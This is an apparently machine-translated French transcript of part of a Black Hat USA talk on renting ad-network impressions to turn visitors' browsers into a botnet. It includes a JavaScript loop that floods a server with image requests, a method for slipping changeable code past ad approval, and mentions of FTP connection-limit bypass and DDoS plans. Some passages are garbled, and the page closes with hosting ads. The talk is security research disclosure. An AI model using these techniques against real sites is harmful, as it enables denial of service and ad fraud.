Conférence BLACK HAT USA. Botnet à partir d'un million de navigateurs. 2e partie

Conférence BLACK HAT USA. Botnet à partir d'un million de navigateurs. Partie 1

Matt Johansson: Je vais maintenant vous montrer comment saisir ce code. Il existe de nombreux réseaux publicitaires, mais nous avons choisi celui-ci car il nous permet de faire ce que nous voulons.



Vous pouvez sélectionner une image de bannière d'une taille suffisamment grande, l'insérer ici et lui attribuer une URL, de sorte qu'après avoir cliqué sur la bannière, l'utilisateur accède au site souhaité. Les propriétaires de cette régie publicitaire proposent l'option JavaScript HTML, cela semble très bien.
Nous avons commencé avec ce qui est montré en haut de la diapositive et avons dû passer par tout le processus d'approbation, qui était probablement le plus difficile de notre étude. Cela ne s'est pas produit pour les raisons auxquelles vous avez pensé, mais parce qu'ils ne représentent pas très bien JavaScript et ne s'en soucient pas vraiment. En fait, ils ont veillé à ce que l'annonce soit belle et fonctionne comme une publicité, de sorte que je ne puisse pas continuer sur notre chemin invisible et simplement marquer quelque part en arrière-plan notre code JavaScript mystique.

Nous avons inséré le script d'exécution de code que Jeremy a développé, vous le voyez dans la zone de texte dans la fenêtre du bas, et il a été approuvé par les annonceurs sans aucun problème. Cependant, nous voulions pouvoir le reconfigurer à tout moment pour diversifier nos recherches, car des choses comme les URL changent souvent. Mais si nous voulions essayer quelque chose de nouveau, nous devions revivre le processus d'approbation. Cela ne prend pas beaucoup de temps, mais c'est juste ennuyeux, car parfois ils l'ont approuvé, et parfois ils n'aimaient pas quelque chose à ce sujet et nous avons dû apporter des modifications.



Par exemple, une fois qu'une application de messagerie a ouvert des balises de script, tout le code JavaScript a disparu et j'ai dû le déplacer. J'ai dû leur expliquer pourquoi il est nécessaire de mettre moins de 1 panneau ici, et il y en a 1 de plus, après quoi ils ont dit que les publicités n'étaient pas affichées correctement, en général, c'était amusant.

Nous avons donc placé le code directement dans la bannière publicitaire, en entrant uniquement le script source où se trouvait notre fichier, que nous pouvions modifier à tout moment sans l'approbation des propriétaires du réseau publicitaire. De cette façon, même s'ils ont en quelque sorte embauché des gens qui connaissaient l'analyse statique du code JavaScript, nous pourrions simplement changer notre fichier en un JavaScript complètement bénin. Il serait donc très difficile de détecter notre fraude avec cette méthode d'introduction de code malveillant.

La diapositive suivante montre notre bannière publicitaire.



Ils ont approuvé l'une de ces options de conception. J'étais trop paresseux pour chercher d'autres images, j'ai donc pris cette idée sur le site Web de l'entreprise WhiteHat. Le texte est très simple: "Obtenez une période d'essai gratuite de 30 jours, demandez-la maintenant!", Alors cliquez sur la bannière, c'est totalement gratuit!

Jeremy Grossman: à l'intérieur du code de bannière se trouvait une balise de script pour l'emplacement de notre fichier campaign.js à: ec2-23-20-141-160.compute-1.amazonaws.com/campaign.js , qui ressemblait à ceci:

for (var i = 0; i < 10000; i++) { var img = new Image(); var url = 'http://<amazon_aws>/iclick/id?' + i; img.src = url; } 

Nous pourrions le changer à tout moment et à tout moment sans aucune approbation. Nous ne savions pas combien de temps ces navigateurs devaient afficher nos annonces sur cette régie publicitaire particulière.Au lieu de 100, 200 ou 300 vues, nous nous sommes immédiatement arrêtés à 10 000, en espérant le meilleur.
Matt Johansson: en commençant petit, nous voulions voir si nous pouvions amener les utilisateurs à nous contacter. Nous avons pu le voir à notre extrémité du réseau, nous avons vu toutes les personnes qui ont suivi notre lien parce que les demandes provenaient de leurs navigateurs et nous avons pu déterminer leurs adresses IP. Tout d'abord, nous voulions voir comment nous avons déployé cette chose et comment le code fonctionne, car ce n'est pas le service où vous payez les clics, nous avons payé le temps de visionnement garanti.

Jeremy Grossman: voici une autre capture d'écran, c'est une démonstration «facile» que nous avons préparée spécialement pour BlackHat.



En bas à gauche, vous voyez le serveur Amazon AWS, qui continue de fonctionner actuellement. La mesure initiale est indiquée ci-dessous: le temps de travail du serveur dans la régie publicitaire de Matt est de 8 minutes, le nombre total d'accès est de 4130, ce n'est pas le nombre de visiteurs uniques sur le site, mais les demandes Web réelles avec un volume de trafic total de 1,9 Mo, le nombre de demandes simultanées est de 5. Nous voyons le protocole d'enregistrement des métriques, les journaux du serveur Web, ainsi que le nombre de minutes de visites en temps réel sur le site que nous avons payé.

Matt Johanson: si vous regardez la diapositive suivante, vous pouvez voir un saut qui s'est produit entre 8 et 10 minutes - le nombre total d'accès est passé à 15 mille.



Tout cela ne peut se faire que par 1 annonce placée dans le réseau publicitaire. Si vous pouvez simplement ajouter plus de fonds à la régie publicitaire, cela ressemblera à un "pic dans la vallée". Je tiens à dire que tout cela est devenu possible grâce aux minutes achetées du navigateur, et à moins de 10 minutes du serveur travaillant avec le réseau publicitaire, nous avons reçu environ 15 mille demandes.

Ensuite, nous avons remarqué une chose intéressante. Permettez-moi de vous rappeler que nous n'avions pas de réseau publicitaire traditionnel, nous avons payé les minutes du navigateur, c'est-à-dire que quelqu'un nous a fourni son navigateur pour faire partie de ce réseau magique, en fait, nous a vendu le temps de son navigateur et le temps de son processeur. Nous avons décidé de voir ce qui se passait en arrière-plan de ce réseau, quels navigateurs y sont utilisés, nous voulions jouer un peu avec Firefox et autres.

Et puis nous avons constaté qu'un tas d'appels de PhantomJS arrivent sur notre réseau. Qui connaît PhantomJS? Je ne vois que quelques personnes.



PhantomJS est un navigateur sans tête, c'est-à-dire un navigateur qui peut être exécuté sur des appareils sans écran, comme un serveur. Autrement dit, ce n'est pas quelqu'un assis sur Internet et cliquant sur les onglets du navigateur sur son bureau, mais un robot. Il peut être utilisé pour des tests unitaires et il est lancé à partir de la ligne de commande. Autrement dit, quelqu'un a dirigé son jeu dans notre système, essayant d'obtenir des minutes. Donc, d'autres personnes en abusent de diverses manières, et c'était amusant à regarder. Nous nous sommes assurés que les minutes ne sont pas de vraies personnes qui cliquent sur leur navigateur, mais des robots PhantomJS.

Jeremy Grossman: les diapositives suivantes montrent la dynamique du processus: en 15 minutes nous avons reçu 28 000 demandes, en 20 minutes près de 44 000 demandes, en 22 minutes le nombre de demandes atteint 61500.

Matt Johansson: Vous remarquerez peut-être que le trafic total est très faible, nous leur envoyons simplement une URL qui n'existe pas, donc 8,5 Mo en 20 minutes signifie que les utilisateurs viennent de recevoir une erreur 404.

Jeremy Grossman: près de 26 minutes, et nous obtenons 82 mille vues, puis 35 minutes, 9 demandes simultanées et près de 102 mille accès.

Matt Johanson: nous avons économisé jusqu'à la fin afin de porter un coup décisif à nos «impressions», qui ont coûté près de 20 $, après que la régie publicitaire ait fonctionné pendant 30 à 45 minutes en mode normal. En fait, j'avais l'intention de dépenser un maximum de 10 $ par jour pour cette étude. Ainsi, après 43 minutes, nous avons eu 255 demandes, 133,5 mille accès, et notre réseau a atteint le pic de trafic en 54 minutes - 256 demandes et 244425 visites.



Regardez les demandes simultanées que nous visons - 255, le serveur Apache ne fonctionnera pas plus rapidement, puis les captures d'écran montrent que le serveur ne veut pas redémarrer pour mettre à jour les données métriques. Après que le nombre de hits a atteint 130 000, et que le trafic s'est élevé à 36 Mo, nous avons décidé d'augmenter un peu le débit du serveur et leur avons demandé de télécharger l'application «Aplication Security Specialist (ASS)», nous avons donc encore plus de «culs» certifiés dans le domaine de la sécurité. Après cela, le volume de trafic a fortement augmenté pour atteindre 117 Mo. Après 55 minutes, nous avons eu 256 000 visites avec 253 Mo de trafic.

Jeremy Grossman: enfin, après 59 minutes 48 secondes, soit une heure après le démarrage du serveur et 20 minutes après le téléchargement de l'image, le trafic a atteint 1 Go. Après cela, nous avons décidé de le laisser pendant un certain temps, par exemple, pendant sept heures, de le laisser fonctionner.

Sur la diapositive suivante, vous voyez le résultat de notre système en 8 heures: plus de 4 millions de visites, 114,7 Go de trafic.



Matt Johansson: nous avons fait la même erreur que la première fois que nous - nous sommes allés dîner. Donc, avant de commencer à jouer sur la régie publicitaire, vous savez, nous avions, par exemple, 30000 vues en quelques heures, et nous étions toujours en train de jouer avec notre code, alors nous pensions que nous aurions encore dix mille vues pendant l'heure du déjeuner. Quand nous sommes revenus, nous avons regardé, oui, très bien, un peu plus de 30 000, mais ensuite nous avons réalisé - pas 30 000, mais un ordre de grandeur de plus - 300 000 vues!

Si vous dépensez plus d'argent, vous obtiendrez beaucoup plus «d'impressions» beaucoup plus rapidement, mais dans notre cas, après 18 heures 42 minutes du serveur, nous avons eu près d'un million de vues et 240 Go de trafic, donc l'hébergement Amazon nous coûte plus cher que le piratage d'une publicité. réseau.

Jeremy Grossman: enfin, après 1 jour et 6 heures avec 241 Go de trafic, nous avons eu près d'un million et demi de vues. Comme vous pouvez le voir sur cette diapositive, à ce moment-là, nous avons utilisé presque toutes nos minutes dans le système et décidé que nous n'avions pas besoin de plus de minutes. Cependant, nous ne savions pas comment les choses se passeraient là-bas et ce qui se passerait au milieu de la nuit, alors nous nous sommes lancés dans le commerce électronique pour BlackHat et avons acheté une autre minute.



Matt Johansson: Je ne vous le recommande pas, car j'ai dû enfreindre ma règle pour ne pas dépenser plus de 10 $ par jour.



Jeremy Grossman: Nous avions maintenant près de 250 Go de trafic. Vous voyez les lignes courir rapidement à l'écran, ce sont les journaux du serveur Apache, puis vous voyez la capture d'écran «Cette page n'est pas disponible», car le serveur n'a pas pu faire face à la charge et est mort avec succès. Nous pourrions parcourir tous les journaux à la fin, mais cela prendra trop de temps. Donc, pour tout le plaisir, nous n'avons payé que 20 $ et nous avons finalement eu un échec du service DoS classique, exprimé dans le refus de la demande de téléchargement d'image. Après cela, je viens de désactiver le chargement de l'image en réinitialisant simplement les paramètres. Je pourrais le réactiver, mais je ne veux pas vous montrer mon mot de passe root.

Matt Johansson: Veuillez noter que nous avons désactivé l'image car nous avons remarqué que les visites réelles ralentissaient lorsque nous avons fourni l'image. Nous n'avons même pas épuisé toute la limite de connexion. Nous n'avons pas utilisé Firefox pour ce hack, nous n'avions que 6 connexions simultanées au navigateur. Nous étions très nerveux, nous n'avons donc pas appuyé sur ce gros bouton rouge pour démarrer l'exploration FTP, car nous ne savions pas ce qui pouvait arriver. Nous nous sommes installés sur des méthodes légales, mais même l'utilisation de méthodes légales nous a assez impressionnés.



Par conséquent, sans même essayer des méthodes de piratage et sans dépenser beaucoup d'argent, vous pouvez obtenir des résultats décents. La diapositive montre qu'après 1 jour, 20 heures et 40 minutes, 243 Go de trafic ont été dépensés en vues, c'est-à-dire que son volume est resté pratiquement inchangé, car les images n'étaient plus chargées. Lorsque nous nous sommes réunis ici ce matin avant la conférence, je pensais que nous aurions environ 15 millions, alors maintenant, après quelques heures, nous venons d'avoir 20 millions de pages vues avec une erreur 404.

Jeremy Grossman: la seule raison pour laquelle nous n'avons pas pu «pomper» plus de trafic est la performance du serveur. Nous pourrions utiliser une plateforme plus puissante et atteindre 100 millions ou milliards de vues, mais pour un serveur Apache relativement lent, c'est une tâche impossible.

Matt Johansson: par conséquent, nos résultats ne sont pas particulièrement impressionnants, mais vous pouvez vous faire une idée du processus de mise à l'échelle, donc endommager des sites normaux ne nécessitera pas beaucoup d'argent.

Jeremy Grossman: Eh bien, maintenant que nous avons atteint ce résultat, nous allons essayer de contourner les restrictions du navigateur sur le nombre de connexions utilisant FTP, exécuter notre script et voir ce qui se passe.

Matt Johansson: Oui, beaucoup de gens viennent à Las Vegas pour dépenser leur argent sur des machines à sous, et ici nous dépensons notre argent sur des réseaux publicitaires.

Jeremy Grossman: Donc, nous avons bouclé plus de 400 connexions FTP au serveur Amazon, alors qui sait ce qui va se passer maintenant?

Nous avons obtenu la métrique du serveur, puis avons de nouveau disparu, la page Web est à nouveau inaccessible, mais vous pouvez voir à quelle vitesse les lignes de journal clignotent. Redémarrons simplement, car le serveur est réellement mort et le navigateur prend un délai d'attente.

Matt Johansson: nous ne savons pas comment le FTP se comporte par rapport aux réseaux publicitaires et nous ne savons pas ce qui se passerait s'il n'utilisait pas de bots, mais des navigateurs d'utilisateurs réels. J'espère que vous comprenez que nous n'avons piraté personne, mais simplement compris comment fonctionne le réseau, dans ce but, nous avons spécialement loué des serveurs. Nous nous sommes pleinement conformés à l'aspect juridique du problème, et vous avez eu des idées sur la façon de s'amuser dans les réseaux publicitaires.

Nous n'avons même pas essayé d'enfreindre la loi, nous sommes passés par ce processus d'approbation, nous avions un JavaScript relativement bénin et non malveillant, nous n'avons même pas touché les réseaux de publicité "pour adultes", bien que vous ayez vu qu'ils se fichaient souvent de ce qui s'est passé avec les bannières publicitaires.

Jeremy Grossman: J'ai entendu une bonne question - d'où viennent les journaux Apache?

En effet, par défaut dans Apache il n'y a pas de journaux. J'en parlerai peut-être plus tard. Nous avons Austin Apache, je viens de le télécharger et de l'installer. Laissez-moi l'exécuter - vous voyez, il n'y a pas de journaux ici, c'est un serveur local. Sur le serveur Amazon, vous voyez l'erreur 408 - le serveur ne répond pas car le délai d'attente pour une réponse à la demande de page a été dépassé. L'envoi HTTP n'est pas utilisé ici, mais le port 80 est toujours ouvert et contient de nombreuses connexions. Revenons à nos diapositives - tout va bien ici, vous pouvez les fermer.

Vous avez donc vu ce que nous avons fait tout en restant du bon côté de la loi. Évidemment, comme Matt l'a dit, nous pourrions aller beaucoup plus loin, comme c'est généralement le cas dans le monde de la sécurité de l'information. Les réseaux publicitaires que vous connaissez comptent de nombreux développeurs de logiciels. Mais croyez-nous, en réalité ce ne sont pas des développeurs de logiciels, ils gèrent simplement leurs réseaux publicitaires sur leurs plateformes publicitaires.



Un des outils qu'ils utilisent largement est OpenX - un serveur publicitaire ou un moteur publicitaire. Il s'agit d'un logiciel open source.
Il est utilisé par de nombreux réseaux publicitaires et, comme cela arrive généralement, il y a quelques semaines, quelqu'un a découvert de graves vulnérabilités qui mettaient en danger des millions d'utilisateurs de plateformes publicitaires. Ce serveur publicitaire peut être piraté en exécutant un code PHP aléatoire, ce qui crée les conditions d'une attaque de script intersite XSS.

Donc, si vous ne voulez pas leur payer votre argent, mais que vous souhaitez simplement utiliser le réseau publicitaire, vous pouvez le faire en le piratant simplement et en y téléchargeant l'exploit, afin de pouvoir contrôler tous ceux qui commencent à voir vos annonces.

Matt Johansson: Nous venons juste d'investir dans la machine à sous qui a placé notre annonce, et il est très difficile de savoir qui a créé cette annonce, qui est une iframe. Nous avons étudié comment les iframes brisent le code et nous sommes occupés de pirater le navigateur, mais l'objectif de notre étude était que nous essayions d'utiliser le navigateur pour que d'autres personnes puissent se pirater de leurs propres mains.

Jeremy Grossman: cette recherche se poursuivra, nous utilisons notre serveur Amazon et essayons de rassembler certains de nos partenaires pour essayer d'attaquer les sites avec une protection DDoS et voir combien de trafic nous pouvons leur diriger, parce que nous ne défendons pas, mais attaquons - c'est l'essence même de nos recherches.

Matt Johansson: Nous essaierons de voir comment casser le hachage du réseau publicitaire, nous avons donc des statistiques qui donnent une bonne idée que JavaScript peut le faire aussi rapidement que nous le voulons. Nous pouvons corréler cela avec le montant en dollars pour savoir combien de hachages MD5 peuvent être craqués pour 50 cents.



Jeremy Grossman: Je répète encore une fois - nous pouvons mobiliser un million de navigateurs, peut-être pas en même temps, mais vous pouvez obtenir ce million de navigateurs pour environ 500 $ et créer un puissant botnet.

J'ai suffisamment travaillé dans le domaine de la sécurité Web, et je me souviens avoir dit il y a longtemps - nous devons pirater Internet pour garantir sa sécurité, pirater les modèles commerciaux existants sur Internet afin de savoir de quoi et comment les protéger. Dan Kaminsky m'a dit le 21 décembre 2010: «Personne ne peut pirater Internet, mec. Pas maintenant, jamais. » Jusqu'à présent, il avait raison.

Mais maintenant, nous voyons le problème. Je ne sais pas de qui il s'agit - les réseaux publicitaires, ou le problème des fournisseurs de navigateurs, ou le problème des propriétaires de sites, mais cela existe vraiment. Et nous ne savons pas à qui incombe cette responsabilité et qui devrait y remédier.

Matt Johansson: nous vous avons montré ce que vous pouvez faire en téléchargeant simplement une image sur la régie publicitaire, mais nous ne sommes pas allés plus loin, nous n'avons fait aucun mal aux gens, bien que nous ayons eu toutes les occasions de le faire. Et nous ne savons pas comment nous protéger de cela - nous venons de vous montrer un mécanisme dont les attaquants peuvent profiter.

Jeremy Grossman: donc, comme vous pouvez le voir, il y a une raison pour laquelle les navigateurs proposent d'utiliser un bloqueur de publicité. Activez le bloqueur de publicités et votre navigateur ne sera pas vulnérable à ce type d'attaque.

Matt Johanson: Ou bien, déconnectez-vous complètement d'Internet.

Jeremy Grossman: J'entends la question, combien nous coûte le serveur Amazon - maintenant, probablement, environ 100 $.

Matt Johanson: Aujourd'hui, quand nous avons vraiment jeté de l'argent dans le réseau publicitaire, avant notre représentation, nous avons payé 75 $, et j'ai essayé de leur retirer tout ce qui était possible.

Et je répondrai à la dernière question sur l'adresse IP - lorsque nous avons reçu l'approbation de notre bannière, nous avons vu l'adresse IP de la personne qui a fait cette approbation, mais il ne pouvait pas voir notre adresse IP et ne pouvait rien savoir de nous, sauf l'adresse e-mail courrier.

Merci à tous ceux qui sont venus nous écouter!


Merci de rester avec nous. Aimez-vous nos articles? Vous voulez voir des matériaux plus intéressants? Soutenez-nous en passant une commande ou en le recommandant à vos amis, une réduction de 30% pour les utilisateurs Habr sur un analogue unique de serveurs d'entrée de gamme que nous avons inventés pour vous: Toute la vérité sur VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbps à partir de 20 $ ou comment diviser le serveur? (les options sont disponibles avec RAID1 et RAID10, jusqu'à 24 cœurs et jusqu'à 40 Go de DDR4).

VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbit / s jusqu'en décembre gratuitement en payant pour une période de six mois, vous pouvez commander ici .

Dell R730xd 2 fois moins cher? Nous avons seulement 2 x Intel Dodeca-Core Xeon E5-2650v4 128 Go DDR4 6x480 Go SSD 1 Gbps 100 TV à partir de 249 $ aux Pays-Bas et aux États-Unis! Pour en savoir plus sur la création d'un bâtiment d'infrastructure. classe utilisant des serveurs Dell R730xd E5-2650 v4 coûtant 9 000 euros pour un sou?

Source: https://habr.com/ru/post/fr426311/


All Articles